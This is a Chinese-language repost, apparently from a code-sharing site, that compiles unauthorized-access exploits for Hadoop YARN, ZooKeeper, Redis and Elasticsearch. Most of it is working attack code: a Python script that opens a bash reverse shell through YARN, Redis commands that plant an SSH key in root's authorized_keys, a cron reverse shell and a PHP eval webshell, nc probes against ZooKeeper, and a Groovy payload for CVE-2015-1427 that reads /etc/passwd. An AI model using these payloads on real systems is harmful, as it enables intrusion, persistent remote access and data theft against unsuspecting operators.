未授權訪問漏洞匯集


NFS服務,Samba服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等

0x00 Hadoop未授權訪問漏洞

Hadoop是一個由Apache基金會所開發的分布式系統基礎架構,YARN是hadoop系統上的資源統一管理平台,其主要作用是實現集群資源的統一管理和調度,可以把MapReduce計算框架作為一個應用程序運行在YARN系統之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應用程序進行執行,其中就允許執行相關包含系統命令。

yarn默認開發8088和8089端口。

檢測漏洞存在方式:

curl -X POST 172.16.20.134:8088/ws/v1/cluster/apps/new-application

證明漏洞存在.png

exp

import requests
target = 'http://172.16.20.134:8088/'
lhost = '172.16.20.108'  # put your local host ip here, and listen at port 9999
 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)

參考

0x01 zoopker

ZooKeeper是一個分布式的,開放源碼的分布式應用程序協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要組件。它是一個為分布式應用提供一致性服務的軟件,提供的功能包括:配置維護、域名服務、分布式同步、組服務等。

ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。

執行以下命令即可遠程獲取該服務器的環境:

echo envi|nc 192.168.15.74 2181
echo stat|nc 192.168.15.74 2181

image.png

image.png

圖形化客戶端工具

Zookeeper本身數據是以樹型結構存儲組織的,可使用界面操作工具ZooInspector。
ZooInspector下載地址:
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
解壓,進入目錄ZooInspector\build,
運行或mac下雙擊zookeeper-dev-ZooInspector.jar:
java -jar zookeeper-dev-ZooInspector.jar //執行成功后,會彈出java ui client
點擊左上角連接按鈕,輸入Zookeeper服務地址:ip:2181
點擊OK,就可以查看Zookeeper節點信息了。

image.png

0x02 redis未授權

寫入ssh公鑰

需要redis是以root權限運行的。
攻擊者將自己的公鑰追加寫入redis服務器的 /root/.ssh 文件夾下的authotrized_keys文件中,攻擊者即可直接登錄該服務器。

ssh-keygen -t rsa  生成ssh公鑰和私鑰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  將公鑰保存成key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.80.44 -x set xxx  寫入redis
redis-cli -h 192.168.80.44  連接redis
config set dir /root/.ssh  設置寫文件的目錄
config set dbfilename authorized_keys  設置寫入的文件名
save

ssh命令連接
ssh root@192.168.80.44

寫入ssh公鑰.png

寫入cron定時任務

需要redis root權限運行

redis-cli -h 192.168.80.44
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.155/4444 0>&1\n\n"
config set dir /var/spool/cron  設置寫文件的目錄
config set dbfilename root  設置寫入的文件名
save

可以寫入cron任務的路徑

/etc/crontab
/etc/cron.d/
/var/spool/cron/root為centos系統root用戶的cron文件
/var/spool/cron/crontabs/root為debian系統root用戶的cron文件

寫入webshell

需要知道網站路徑

redis-cli -h 192.168.80.44
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

0x03 elasticsearch未授權訪問

image.png

一般來說默認開放了9200端口,可利用的路徑節點包括如下幾個:

http://127.0.0.1:9200/_cat/indices/
http://127.0.0.1:9200/_plugin/head/
http://127.0.0.1:9200/_nodes
http://127.0.0.1:9200/_nodes?prettify
http://127.0.0.1::9200/_status
http://127.0.0.1::9200/_search?pretty
http://127.0.0.1:9200/zjftu/
http://127.0.0.1::9200/zjftu/_search?pretty

ElasticSearch Groovy RCE (CVE-2015-1427)

影響范圍
The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

對一下鏈接進行一個POST
http://127.0.0.1:9200/_search?pretty

{"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM